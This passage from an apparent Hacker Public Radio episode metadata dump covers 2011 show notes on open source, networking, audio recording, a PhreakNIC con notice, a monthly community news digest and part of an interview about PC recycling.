    Where is PhreakNIC?

    \n

    Days Inn Stadium
    \n211 North First Street
    \nNashville, TN 37213

    \n

    What is PhreakNIC?

    PhreakNIC is Nashville's annual hacker con. Anyone is welcome to attend. We create an environment where people who are interested in the more underground elements of technology can meet, exchange ideas and hopefully teach/learn. The primary focus is on computers and computer security, but we also cover other topics, such as radio (ham, pirate & low-power/community), SETI work, robotics, high-power rocketry, satellites, phones and phreaking, cryptography, etc. PhreakNIC is organized annually by Nashville 2600 a non-profit organization.

    \n\n

    Pre-Registration is available again through click and pledge at store.phreaknic.info. If you pre-register this year please use the \"Customize your con badge\" link in the menu to submit your visage/logo for your badge. This will be our fifteenth year and we hope you will make plans to join us.

    \n

    Who is PhreakNIC

    \n

    PhreakNIC is attended by anyone with a curious mind. That being said we are now accepting papers for this year. If you would like to give a talk submit your name and a brief synopsis of what you'd like to talk about to president -at- nashville2600.org.

    ","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":2251,"valid":1}, {"id":782,"date":"2011-08-01","title":"Technological ethics of Open Source Software","duration":1239,"summary":"MrGadgets discusses Open Source Software versus closed and proprietary options","notes":"MrGadgets discusses Open Source Software. He compares software running on Windows and Mac OS X.It just works appeal and is this something that we should chase. How easy should the user experience be ? Should you make a stand in order to support your technological ethics ?","hostid":155,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"\"Open Source Software\",\"walled garden\",\"user experience\"","version":0,"downloads":2191,"valid":1}, {"id":783,"date":"2011-08-02","title":"Libertarianism + IT, a match made in heaven?","duration":2100,"summary":"An exploration of a possible Libertarian near-future brought on by information technology","notes":"Today I play the role of a fortune teller, I will give you my predictions for the future. Contact me @ dismal.science.hpr AT gmail DOT com","hostid":141,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"linux,it,libertarianism,prediction,economics","version":0,"downloads":2820,"valid":1}, {"id":784,"date":"2011-08-03","title":"Full Circle Podcast: Part Three, The Edit","duration":754,"summary":"The process of edit the Full Circle podcast audio, including audacity techniques and content policy.","notes":"

    It's the one you've all been waiting for, the meat and potatoes of this series, the edit process for our show. This is where is gets seriously messy...

    \n

    Runtime: 12mins 34seconds

    \n

    Your Host:

    \n\n

    Additional audio by Victoria Pritchard

    \n

    The full circle podcast is the companion to Full Circle Magazine, the Independent Magazine for the Ubuntu Community\nFind us at https://www.fullcirclemagazine.org/podcast.

    \n

    Feedback; you can post comments and feedback on the podcast page at fullcirclemagazine.org/podcast, send us a comment to podcast (at) fullcirclemagazine.org

    ","hostid":160,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Full Circle Podcast","version":0,"downloads":2144,"valid":1}, {"id":785,"date":"2011-08-04","title":"binaural recording","duration":393,"summary":"Binaural 3d audio recording, please listen at normal speed with good head phones.","notes":"

    \nhttps://www.flickr.com/photos/quvmoh/5976661064/in/photostream\n

    \n

    \nhttps://en.wikipedia.org/wiki/Binaural_recording\n

    \n

    \nYes I am the dummy head..\n

    \n

    \nhttps://www.flickr.com/photos/quvmoh/\n

    \n\t","hostid":110,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"recording,binaural,3d,audio","version":0,"downloads":2568,"valid":1}, {"id":786,"date":"2011-08-07","title":"Streaming sporting events","duration":409,"summary":"Designing a system to live stream video from multiple cameras at a sporting event","notes":"In this show droops asks for help on live recording a sporting event.","hostid":1,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"video,\"live stream\",camera","version":0,"downloads":2171,"valid":1}, {"id":787,"date":"2011-08-08","title":"Grep for tab","duration":158,"summary":"Ken submits a summer short explaining how to grep for a tab character in a file","notes":"In todays summer short Ken tells us about how you can grep for a tab in a file.
    \ngrep \"first{ctrl+v}{tab}second\" file.txt
    \n

    \n

    \nfor more information see https://www.linuxquestions.org/questions/linux-newbie-8/tab-in-bash-script-242400/#post4386714","hostid":30,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"summer shorts","version":0,"downloads":2412,"valid":1}, {"id":788,"date":"2011-08-09","title":"Bitcoin","duration":1701,"summary":"JWP investigates claims made about bitcoin on other podcasts, and provides an intro to Bitcoin","notes":"Inspired by episode 769, JWP gives some feedback on Linux Outlaws 215 - Bitcoin Discussion","hostid":129,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"bitcoin,linux outlaws,linux action show","version":0,"downloads":2520,"valid":1}, {"id":789,"date":"2011-08-10","title":"GeekNights Git: the fast version control system","duration":3739,"summary":"The GeekNights podcast provides an introduction to the Git version control system","notes":"

    \nYou are listening to syndicated thursday on hacker public radio\n

    \n

    \nEach thursday we high light a creative commons work and today it's GeekNights\n

    \n

    \nIn this episode they talk about Git: the fast version control system\n

    \n

    \nThe technical discussion begins about 30 minutes in.\n

    \n

    \nFrom https://frontrowcrew.com/geeknights/20110801/git/\n

    \n\n

    Git

    \n
    Monday August 1, 2011
    \n\n

    \n

    Tonight on GeekNights, we talk about Git: the fast version control system. First, Scott discovers the sadness of attempting to develop iOS Applications on our poor old Mac Mini (Core Solo), Rym built his HTPC, and GeekNights has a fancy new Facebook page. In the news, commodity face recognition, data mining, and data aggregation will do exactly what we expected and can, among other things, reveal your SSN. Adobe releases a preview of Edge.

    \n\n\n\n\n\n\n","hostid":159,"series":54,"explicit":1,"license":"CC-BY-SA","tags":"syndicated thursday,git,version control","version":0,"downloads":2252,"valid":1}, {"id":790,"date":"2011-08-11","title":"guake a drop-down terminal emulator","duration":296,"summary":"A quick overview of the Guake drop-down terminal emulator","notes":"

    \nAn episode proclaiming the wonders of guake, a drop-down terminal emulator in the tradition of the terminal in Quake.\n

    \n

    \nI also mention Yakuake if you're a big fan of KDE.\n

    \n

    \nhttps://en.wikipedia.org/wiki/Quake_%28video_game%29
    \nhttps://www.guake.org","hostid":184,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"summer short,terminal","version":0,"downloads":2460,"valid":1}, {"id":791,"date":"2011-08-14","title":"Interview with Moose about Ohio LinuxFest","duration":3334,"summary":"Ken talks to Moose, one of the organizers of Ohio LinuxFest","notes":"

    \nIn today's episode Ken talks to Moose one of the organizers of Ohio Linux Fest\n

    \n\n

    About the Ohio LinuxFest

    \n\n

    The Ohio LinuxFest is a grassroots conference for the GNU/Linux/Open Source Software/Free Software community that started in 2003 as a large inter-LUG meeting and has grown steadily since. It is a place for the community to gather and share information about Linux and Open Source Software.

    \n

    A large expo area adjacent to the conference rooms will feature exhibits from our sponsors as well as a large .org section from non-profit Open Source/Free Software projects.

    \n\n

    The Ohio LinuxFest welcomes people from all 50 states and international participants. We've had participants from Canada, England, Argentina, Brazil, and Australia in years past.

    \n\n

    Contact Info

    \n

    Contact us if you have any questions or would like to volunteer to help.

    \n\n \n \n\n \n \n \n \n \n \n \n\n \n \n \n \n \n \n \n\n \n \n \n \n \n \n \n\n \n \n \n
     nameemailirc nick
    General Info team@ohiolinux.org 
    SponsorshipRobert Ballsponsorship@ohiolinux.orgsteakum
    Web siteMichael Meffiewebmaster@ohiolinux.orgmeffie
    \n

    You may reach us on IRC at irc.oftc.net, channel #ohiolinux

    \n

    Diversity Statement

    \n

    The Ohio LinuxFest is dedicated for making Open Source truly open to everyone. We do not discriminate based on ethnic background, religion, gender, sexuality, body shape, disability, or even what operating system you use. We also do not tolerate harassment based on discrimination.

    \n

     

    \n

    We understand that some people need special assistance to fully enjoy our conference. If we can help you find a wheelchair, arrange for an ASL translator or a guide for the sight impaired, or any other special need, please let us know at assist@ohiolinux.org. Sorry, we cannot help with child care needs. Please understand that organizing some things take time and are best pre-arranged. If you need help the day of the event please contact a staff person for assistance. We will handle your request or complaint as quickly as possible.

    \n","hostid":30,"series":78,"explicit":1,"license":"CC-BY-SA","tags":"\"Ohio LinuxFest\",\"OLF 2011\"","version":0,"downloads":2357,"valid":1}, {"id":792,"date":"2011-08-16","title":"Binaural Recording","duration":1426,"summary":"A response to episode 785 by Quvmoh on binaural recording","notes":"MrGadgets calls in feedback on episode 785 on binaural recording that was hosted by Quvmoh","hostid":155,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"audio,\"binaural recording\",\"matrix microphone\"","version":0,"downloads":2510,"valid":1}, {"id":793,"date":"2011-08-16","title":"Server/Client relationship, DHCP server","duration":4149,"summary":"Part 6 of Klaatu's Networking Basics miniseries","notes":"

    Remember back in the 400s of HPR when Klaatu was doing a Networking Basics miniseries? Well, its back, with an introduction to the concept of the Server / Client relationship, how to set up a server as an internet gateway and a DHCP server.

    \n","hostid":78,"series":61,"explicit":0,"license":"CC-BY-SA","tags":"networking,server,client,DHCP,router","version":0,"downloads":2364,"valid":1}, {"id":794,"date":"2011-08-17","title":"Full Circle Podcast: U-Cubed De-brief","duration":1937,"summary":"A report from the U-Cubed unconference at Mad-Lab, Manchester, UK","notes":"

    01:51 | De-Brief of the U-CUBED Event...

    \n\n

    Les Pounder takes us through the day of Sat. April 2nd at Mad-Lab, Manchester, UK. U-Cubed is a free 'unconference' for devotees of free and Open Source software. Co-inciding with the release of Ubuntu 11.04 Beta 1, the event drew Linux enthusiasts from across the North-West of England for testing, demo's, talks, Linux installs and workshops.

    \n\n

    We also go over some of the technology news.

    \n\n

    Your Hosts:

    \n\n

    The full circle podcast is the companion to Full Circle Magazine, the Independent Magazine for the Ubuntu Community. Find us at https://www.fullcirclemagazine.org/podcast.

    \n

    Feedback; you can post comments and feedback on the podcast page at fullcirclemagazine dot org forward slash podcast, send us a comment to podcast (at) fullcirclemagazine.org

    \n\n

    Additional audio by Victoria Pritchard

    \n\n

    Runtime: 32mins 17seconds

    ","hostid":160,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Full Circle Podcast","version":0,"downloads":2155,"valid":1}, {"id":795,"date":"2011-08-18","title":"John Uren on FLOSS in the UK Civil Service","duration":348,"summary":"An interview with John Uren at OggCamp 2011","notes":"

    \nIn this episode Ken talks to John Uren who works in the UK Civil Service. They discuss the issues around Crown Copyright and how it relates to open source. John maintains an etherpad server and has been involved in organizing a open source week to highlight the benefits of open source and free software to Government departments.
    \nhttps://secure.wikimedia.org/wikipedia/en/wiki/EtherPad\n

    \n

    Duration: 00:05:49

    ","hostid":30,"series":62,"explicit":1,"license":"CC-BY-SA","tags":"\"Civil Service\",\"open-source software\",EtherPad","version":0,"downloads":2205,"valid":1}, {"id":796,"date":"2011-08-21","title":"Shane Marks Hacker Space Week Ireland","duration":1215,"summary":"An interview with Shane Marks from the Nexus maker space in Cork, Ireland","notes":"

    \nThe HPR feed will be changing this week please email admin at hpr if you have issues
    \nApologies for the clipping on Ken's side
    \n\nIn today's interview Ken talks to Shane Marks from the Nexus maker space in Cork, Ireland.
    \nThe Irish Hackerspace Week runs from Saturday 20th until Sunday 28th of August 2011.
    \n\n

    \n

    \n","hostid":30,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"hackerspace,Ireland","version":0,"downloads":2143,"valid":1}, {"id":797,"date":"2011-08-22","title":"How I got into linux","duration":287,"summary":"Mike Hingley's first HPR episode where he describes how he got into Linux","notes":"

    \nIn today's show we are introduced to a new host Mike Hingley as he explains how he got into linux.\n

    \n","hostid":185,"series":29,"explicit":1,"license":"CC-BY-SA","tags":"Ubuntu","version":0,"downloads":2195,"valid":1}, {"id":798,"date":"2011-08-23","title":"The IBM Model M Keyboard","duration":728,"summary":"A in-depth look at the IBM Model M keyboard, and why it's so delicious","notes":"

    \nIn this exciting adventure Germ talks about the wonders of the best keyboard ever produced.\n

    \n

    Links

    \n\n

    Other Keyboards Worth Mentioning:

    \n\n","hostid":186,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"hardware,vintage hardware,keyboard,mechanical keyboard","version":0,"downloads":3029,"valid":1}, {"id":799,"date":"2011-08-24","title":"Part Four Assembly, Editing the Podcast","duration":476,"summary":"Details of how the Full Circle Podcast is prepared, part four","notes":"

    Hello world and welcome to our show on Hacker Public Radio. Part four in our series on producing the podcast. We've prep'd, recorded and edited all the segments, it's time to bolt it all together to try to produce something greater than the sum of its parts.

    \n

    Runtime: 7mins 56seconds

    \n

    Your Host:

    \n\n

    Additional audio by Victoria Pritchard

    \n

    The full circle podcast is the companion to Full Circle Magazine, the Independent Magazine for the Ubuntu Community\nFind us at https://www.fullcirclemagazine.org/podcast.

    \n

    Feedback; you can post comments and feedback on the podcast page at https://fullcirclemagazine.org/podcast, send us a comment to podcast (at) fullcirclemagazine.org

    \n","hostid":160,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Full Circle Podcast","version":0,"downloads":2016,"valid":1}, {"id":800,"date":"2011-08-25","title":"WebOS","duration":450,"summary":"The danger of a open source monoculture in the mobile OS space","notes":"

    In todays dial in show Sunzofman1 talks about the danger of a open source monoculture in the mobile OS space.

    \n

    https://bkaeg.org
    \nagreen@bkaeg.org

    \n

    Editor's Note:

    \n

    The URL https://bkaeg.org refers to a website that no longer exists. The\nsite was archived on the Wayback Machine in 2017, and a link has\nbeen made to this archived copy.

    \n","hostid":187,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"webOS,Android,IOS,\"Windows Phone 7\",\"Nokia N900\"","version":0,"downloads":2283,"valid":1}, {"id":801,"date":"2011-08-28","title":"Slackbuilds","duration":3011,"summary":"Part 1 of the series on packaging applications","notes":"

    Klaatu begins a three-part series on packaging applications for GNU Linux and BSD. In this first episode, he covers Slackbuilds using SigFLUP's yesplz as an example.

    \n\n

    SlackBuilds.org

    \n

    yesplz_aug_4_2010.tgz source

    \n

    yesplz slackbuild

    \n\n

    Get this episode in ogg vorbis courtesy the GNU World Order.

    ","hostid":78,"series":63,"explicit":0,"license":"CC-BY-SA","tags":"package,packaging,yesplz,Slackware,SlackBuild","version":0,"downloads":2182,"valid":1}, {"id":802,"date":"2011-08-29","title":"Ana Nelson on Dexy software documentation","duration":448,"summary":"An interview at OggCamp 11 with Ana Nelson about Dexy, a software documentation tool","notes":"

    \nToday Ken interviews Ana Nelson on Dexy a software package to make documentation easy fun and maintainable. @dexyit !hpr\n

    \n

    What is Dexy?

    \n

    Dexy is a tool for writing documents which relate to code. This might mean software documentation, journal articles relating to computational research, a code tutorial on your blog, writing up computer science class assignments, pretty much anything. You can think of Dexy as a very fancy 'make' tool with lots of document-related features and powerful filters. Dexy is open source, licensed under the MIT license.

    \n

    \nFollow on twitter https://twitter.com/#!/dexyit\n

    \n
    From HPR @ OggCamp11
    \n\n","hostid":30,"series":62,"explicit":1,"license":"CC-BY-SA","tags":"Dexy,\"language-specific documentation\"","version":0,"downloads":1924,"valid":1}, {"id":803,"date":"2011-08-30","title":"A novacut support call","duration":2862,"summary":"The NovaCut video editor was a Kickstarter project in 2011","notes":"

    \nThis is a the \"hour call\" to Jason DeRose after making a $100 pledge to novacut. https://novacut.com/ @novacut @hpr !hpr\n

    \n

    \nBack in episode 0780, klaatu interviewed Jason DeRose about NovaCut. At the time they were running a kickstarter campaign to raise money to fund the project.
    \nsaras fox was one of the contributors and that earned him a hour long conversation which we bring to you today.\n

    \n\n

    \nFind NovaCut on:\n

    \nYou can contact saras fox on Google+ https://plus.google.com/106479011389609622954/posts\n

    ","hostid":188,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"NovaCut,video,editor,Kickstarter","version":0,"downloads":2018,"valid":1}, {"id":804,"date":"2011-08-31","title":"Wayne Myers from Fit and the Conniptions at OggCamp","duration":3821,"summary":"Ken Fallon interviews Wayne Myers at OggCamp 11","notes":"

    \n@conniptions !hpr. In todays show Ken interviews Wayne Myers from the band Fit and the Conniptions recorded at https://www.oggcamp.org.
    \nFollowing the interview we play the presentation and edit in the full length song \"Solemn Ground\"
    \n

    \n\n
    \n\n
    From HPR @ OggCamp11
    \n\n

    About

    \n

    I'm Wayne Myers, a singer-songwriter from London. I've been recording and performing bluesy folk-rock under the name Fit and the Conniptions since December 2005.

    \n\n

    Sweet Sister Starlight, my second studio album, was released online on 21st March 2011, and is now also available on CD while stocks last. The first album, Bless Your Heart, was released in July 2007, followed in November 2008 by an acoustic live EP Live At Monkey Chews.\n\n\n

    All releases are available to download from Bandcamp - you can pay as much or as little as you want / can afford, including zero. If you like CDs, there are still some copies of the first two releases left at CDBaby also.

    \n\n

    \n\"Pro\n

    \n\n\n
    \n\n

    \nThis is an augmented podcast, for the blind, visually impaired, or for those of us away from a screen.
    \nIf you would like to help out creating the text of the OggCamp presentations for me to read out, then please email admin at hacker public radio dot org.
    \n

    \n","hostid":30,"series":54,"explicit":1,"license":"CC-BY-SA","tags":"oggcamp,oggcamp11","version":0,"downloads":1895,"valid":1}, {"id":805,"date":"2011-09-01","title":"How Monster Cable got its name","duration":2635,"summary":"Mr Gadgets phones in to talk about the Monster Cable company","notes":"In todays episode he explains how Monster Cable got it's name and why you needed them then but do you still need to use them now ? With notes on innovating MrGadgets will be at the OhioLinuxFest","hostid":155,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"HiFi,audiophile,decibel,\"skin effect\"","version":0,"downloads":2044,"valid":1}, {"id":806,"date":"2011-09-04","title":"HPR Community News for Aug 2011","duration":2353,"summary":"HPR Community News for Aug 2011","notes":"

    New hosts

    \n

    \nWelcome to our new hosts: \nJVoeltz, \ndiablomarcus, \nMike Hingley, \nGerm, \nSunzofman1, and\nsaras fox\n

    \n

    Show Review

    \n\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n
    id\nhost\ntitle\n
    782MrGadgetsTechnological ethics of Open Source Software
    783Dismal ScienceLibertarianism + IT, a match made in heaven?
    784Robin CatlingFull Circle Podcast Part Three The Edit
    785Quvmohbinaural recording
    786droopsStreaming sporting events
    787Ken FallonGrep for tab
    788JWPBitcoin
    789HPR AdminsGeekNights Git: the fast version control system
    790diablomarcusguake a drop-down terminal emulator
    791Ken FallonInterview with Moose about Ohio LinuxFest
    792MrGadgetsBiaural Recording
    793klaatuServer/Client relationship, DHCP server
    794Robin CatlingFull Circle Podcast U-Cubed De-brief
    795Ken FallonJohn Uren on FLOSS in the UK Civil Service
    796Ken FallonShane Marks Hacker Space Week Ireland
    797Mike HingleyHow I got into linux
    798GermThe IBM Model M Keyboard
    799Robin CatlingPart Four Assembly, Editing the Podcast
    800Sunzofman1WebOS
    801klaatuSlackbuilds
    802Ken FallonAna Nelson on Dexy software documentation
    803saras foxA novacut support call
    804Ken FallonWayne Myers from Fit and the Conniptions at OggCamp
    805MrGadgetsHow Monster Cable got it's name
    \n\n

    Thanks To

    \n
      \n
    • Finux, Tony, Laura, Popey, Henderik, Yvonne, Pokey, Code Cruncher, Manon, Kevin O'Brien, Ivan Privaci, DoorToDoorGeek, Kevin Barry for all the help getting ready for OggCamp
    • \n
    • Joshua Knapp for the server admin work
    • \n
    • Becky Newborough, Philip Newborough
    • \n
    • Johan Paul for checking our RSS feed
    • \n
    • Everyone that gave feedback on the podcatcher you use
    • \n
    • Everyone that gave feedback on the new feed
    • \n
    • Le Krayon for the tip on get_flash_videos
    • \n
    • Henry Patrick Reilly for allowing us to use his Google+ account
    • \n
    • Andy Piper for the website feedback
    • \n
    • All the organisers and crew of OggCamp 11
    • \n
    \n

    Apologies To

    \n
      \n
    • Billy Crook for missing his mail about s3cmd : command line S3 client
    • \n
    • Germ for the delay in getting the stickers out
    • \n
    • StankDawg/Lunar Pages for not getting the Ad in faster
    • \n
    \n\n

    OggCamp

    \n

    \nAll the presentations and material are on the website https://hackerpublicradio.org/media/hpr-presentation-oggcamp/\nShows in the main and syndicated Thursday queue will follow scheduling rules Scheduling Rules, so we still have free slots.
    \n

    \nVORC001-john-unin-uk-civil-service.WAV\nVORC002-vivean-parkhouse.WAV\nVORC003-jurgan-open-wireless-network.WAV\nVORC004-laura.WAV\nVORC005-ack.WAV\nVORC006-les-porter.WAV\nVORC007-robin-catling-full-circle.WAV\nVORC008-popey.WAV\nVORC009-dj-the-h.wav\nVORC010-alan-cocks.WAV\nVORC011-wayne-myres.WAV\nVORC012-alister-munroe-plm-software.WAV\nVORC013-jwp-oracle-linux.WAV\nVORC014-kris-finley-software-freedom-day-dundee.WAV\nVORC015-steve-lee-accessability.WAV\nVORC016-fsfe-sam-tuck.WAV\nVORC017-tony-hughes-free-cycle.WAV\nVORC018-philip-beky-crunchbang.WAV\nVORC019-ade+2hours.WAV\nVORC020-kris-freenode.WAV\nVORC021-dann.WAV\nVORC022-nathan-open-hardware.WAV\nVORC023-austrian-germans.WAV\nVORC024-amburn-elder-politics.WAV\nVORC025-marie-assen-flatter.WAV\nVORC026-marie-assen-flatter-her-email.WAV\nVORC027-les-roundup.WAV\n
    \nAlso Shane Marks and some time Fab.\n

    \n\n

    New Outro

    \n

    \n

    \nWe have moved providers some time ago and we need to include an advertisement for our sponsor (Lunar pages) in the outro. I have edited all the episodes that are currently in the queue to have the new outro but going forward I would appreciate it if you could switch to the new outro which can be found here https://hackerpublicradio.org/media/theme-music/outro-mono.mp3. All the versions including the original slick0 master flac, can be found at https://hackerpublicradio.org/media/theme-music/\n

    \n

    \nThe text for the outro is in the file hpr-outro-text.txt and I'd like to get a versions from every host and listener, with the idea of editing them together to have multiple versions with each line read by different people. Please submit those in high quality WAV or FLAC with spaces between each line to allow for easy editing.\n

    \n

    \nAfter recording a HPR news segment at my brother-in-law's studio he was inspired to record a intro and outro for HPR and he'd appreciate your feedback. Give the files starting in https://hackerpublicradio.org/media/theme-music/ rollercostermusic.com* a listen.\n

    \n

    \nIt would also help greatly if you could provide shownotes with your episode in html as otherwise I need to listen to your shows and make the shownotes for you which will result in a delay in your show getting posted. We are now also officially CC-BY-SA so if you are releasing your show in any other format you need to make note of that\nin your show and in the shownotes.\n

    \n\n

    \n

    Month in Review

    \n

    \n

      \n
    • We have ogg and spx feed !
    • \n
    • We changed the mp3 feed to make it RSS 2.0 compliant - finally !
    • \n
    • Updated the Contribute page
    • \n
    • Are you going to Derby Con
    • \n
    • Augmented podcast on HPR
    • \n
    • Check out the test site https://hobbypublicradio.org
    • \n
    \n

    \n
    \n

    Casting Call

    \nA while back 5150 proposed that we produce an audiobook using only HPR contributors as actors. Several people responded positively, and said they would like to participate. Well, we now have a script. It was originally written as a screenplay, so it needs a little work to make the visual bits work as audio only, but I don't think that will take too long. It's almost ready to go as is. 5150 and Integgroll have stepped up to help me make editorial and casting decisions and get other producer type stuff done.
    \n\n
    This is a casting call of sorts. We need some voice actors, but we'll also need some sound effects, and perhaps some music. I may ask people to create sound effects, and upload them to the freesound project, or just to find such sounds. I'm not sure what we'll need yet, but I'd like to know who's interested in helping out. I was considering asking the Open Source Musician's Podcast to consider doing a \"tune storm\" for some music, but I'd like to know if you guys think we should keep it all in house, or collaborate on that.
    \n\n
    The story is a SciFi/adventure that's also a lighthearted Free Software allegory, so it's a perfect fit for HPR. It will run between 50 and 80 minutes, I think, so it may be broken up into two or three episodes if it's too long for just one. I'm really not sure.
    \n\n
    The plan is to record with actors using mumble but also recording locally to get the best possible sound quality. I'll mix it all in audacity, unless someone else wants that job, or wants to do it with ardour or whatever.
    \n\n
    As is, there are 4 male roles, 3 female roles, and 6 androgynous roles. Most of the male and female roles could be swapped also to match our supply of actors. If we get more people than that, We'll add parts to make sure that everyone who's interested can participate. The protagonist and major role is female. She will have a majority of the speaking parts, thus the biggest time commitment of all the actors.
    \n\n
    If you're interested, please send me a voice sample so I can sort out the cast, or let me know what you're willing to do so I have some idea about that too. Please use my personal email address for this so that we don't clutter up the regular mailing list. pdailey03@gmail.com
    \n\n
    Thank you for hearing me out on this.
    \npokey\n\n
    \n

    The Linux News Podcast

    \n

    \nHi fellow podcaster,
    \n
    \nI have just launched a new podcast. You know as well as I do it is hard to get the news out. I was wondering if you would please be so kind as to give it a listen. Any feedback would be appreciated. And if you like it, a mention in your podcast would be very kind. If you do, please email me so I can put a link on my website to your show.
    \n
    \nAlso if you ever need a guest on your show, please feel free to email me and let me know. If you want to know a little more about me please check out my website under About. You can also email me any questions you may have.
    \n
    \nSo what is my new podcast? The Linux News Podcast. The Linux News Podcast was designed to fill a much needed gap in audio shows covering exclusively Linux, Android, and Open Source news. The podcast aims to be relevant, accurate, fair, clear, timely, interesting and concise.
    \n
    \nThe podcast aims to be relevant by focusing on topic of interest to Linux users. I focus on such topics such as software freedom, Linux development, Open Source software, Android and mobile devises, security issues, and Linux distribution releases. Special attention is given to the top ten Linux distributions: Ubuntu, Linux Mint, Fedora, Debian, openSUSE, Arch, PCLinuxOS, Puppy Linux, Sabayon, and CentOS.
    \n
    \nThe podcast is less than 15 minutes long and is released every Tuesday and Friday evenings.
    \n\n
    \nThank you so much for your help in spreading the news.
    \n
    \nHere is the Official Press Release: https://www.prlog.org/11624836-new-linux-news-podcast.html
    \n\n\n\n\n
    \n
    \n
    \n\n\n\n\n\n
    \nSincerely,
    \n
    \nJay Forrest,
    \n\n\n
    \n
    \n
    \n

    \n ","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":1998,"valid":1}, {"id":807,"date":"2011-09-05","title":"MaraDNS","duration":1703,"summary":"Part 6 of the Networking series: How to set up a simple DNS server","notes":"

    Klaatu continues his Networking Basics series with a howto set up a simple DNS server using MaraDNS.

    \n\n

    Get the ogg vorbis version from the Gnu World Order.

    ","hostid":78,"series":61,"explicit":0,"license":"CC-BY-SA","tags":"networking,DNS,\"Domain Name System\",MaraDNS","version":0,"downloads":2097,"valid":1}, {"id":808,"date":"2011-09-06","title":"Interview with Yancy Smith","duration":342,"summary":"Interview at SELF about a PC recycling project with the Carolina Free PC Foundation","notes":"

    \nCheapskate Computing\n

    \n

    \nTranscriber's notes: This is probably 95%-97% accurate. I made sure to get most of the important parts, even slowing down the recording - but some stuff just did not come out clearly. We were in a very quiet room, but the Fuze's mic is not professional quality. Transcriptions marked with an asterisk * are my best guess / paraphrase. There aren't many.\n

    \n

    \nThe Carolina Free PC organization that Yancy mentions can be found here:\nhttps://sites.google.com/site/carolinafreepc/\n

    \n

    \nAudio notes: Volume normalization & removal of bias, and the noise of me pressing buttons on the Fuze was removed. There is no editing for content.\n

    \n

    \nBroam: So hi, I'm here with Yancy Smith, he was doing a...like a donation project he called the \"Scrapper Project\" here at SELF, I just wanted to ask him a couple questions about it.\n

    \n

    \nBroam: Hi Yancy.\n

    \n

    \nYancy: Hi. Um.\n

    \n

    \nBroam: So tell me about it.\n

    \n

    \nYancy: Well basically we take the time*, we take old computers from labs and computer stores, they give them to me; I recycle them to someone else. \n

    \n

    \nAnd a couple weeks ago I got clearance in talking Dave Yates, our president, said, \"can we do this here at our function\" here at SELF. and I sent out to all our club members and to most of my facebook friends, we didn't put on the general list, we just tryin' this out. We didn't have no donations this time, but some of us bought some stuff in, mainly me, brought some old stuff in, to get rid of because I don't have the room...and... it didn't turn out so well, but had a couple of bags to send with the Athens [?] team home, so they enjoyed that.\n

    \n

    \nBroam: That's cool. I have some other questions here... let's see here... um. so professional. So is this mostly you organizing this on your own, or?\n

    \n

    \nYancy: Yeah. But I'm working with the Carolina Free PC Foundation. I emailed them, they said they would be glad to take, and they emailed me back. Emailed Athens a week ago, but they didn't get my email in time, but they said next year, talk to such & such and they would know who to talk to. I'd be willing to open it to anyone.\n

    \n

    \nBroam: Okay. Is this the first year you've done this, or?\n

    \n

    \nYancy: Yeah, it's first time. It's an ad-hoc thing, our group - the club, Upstate Carolina Linux user group. ( www.uclug.org ), is a meritocracy, but I still asked for permission.\n

    \n

    \nBroam: Cool obviously crossing off a ton of questions here and who are you going to give the donated computers to? Other foundations, or?\n

    \n

    \nYancy: Mainly, um, if there had been some this year, there would have been a three-way split - who needs what parts. I found out that the Carolina [group] wanted the hard drives and certain memory sets and things, they would have gotten that. Free PCs they had certain amounts that wanted, and the rest I would have taken home or send on to someone else down the road.\n

    \n

    \nBroam: Ok. And uh, and did you look at any other projects - I know you contacted some people, but did you look at other, like, similar things that people have done on line, like, say Freegeek or Helios Initiative for anything like that, for ideas?\n

    \n

    \nYancy: Mainly it's between, um, I haven't heard of them too much; but like what I said I'm following the guidelines of the Carolina PC and some of the Athens stuff. I happen to know um, what we - I had contact with them last year and so if there's something they can use...\n

    \n

    \nBroam: Ok. You said something in the Facebook post you sent me about Linux being required by South Carolina state law. Could you explain that a little more?\n

    \n

    \nYancy: Well it's... that was a misstatement. What I was saying was that by State law requires you to send off the parts and metals stuff, not in the trash they send it off to a scrapyard - \n

    \n

    \nBroam: Oh, ok... yeah I...\n

    \n

    \nYancy: but the part about the Linux is I put Linux on there because it wipes the drive down completely and clearly because of the data retention laws, that's why\n

    \n

    \nBroam: aaaah, ok.\n

    \n

    \nYancy: see a lot of the stores, I go into a thift store, like a Goodwill or a church store, they don't really wipe down the systems they build. They don't have the [expertise]. They just wipe* a couple directories and think it's sanitized. That is a dangeorus thing to do.\n

    \n

    \nBroam: Yes, I know... (In retrospect, sounds kinda flippant, sorry. I meant to agree with him here. ed.)\n

    \n

    \nYancy: That and the license - any issues of rebuilding windows, I do that only when I have a holographic key. So it's just like even if I have a key I still put Linux on top of it, so if there's an issue with Windows, I can recover but also I still can introduce them to Linux, because games, software, photos...\n

    \n

    \nBroam: Everything is free, everything is legally transferrable.\n

    \n

    \nYancy: Yeah. Especially there's an application called Photo...photo wall or photoroom, it's sorta like Apple's album* for all your photos. It's the coolest thing.\n

    \n

    \nBroam: Cool! And I have one last question ...got any stuff for me?\n

    \n

    \nYancy: Um...\n

    \n

    \nBroam: *laughter*\n

    \n

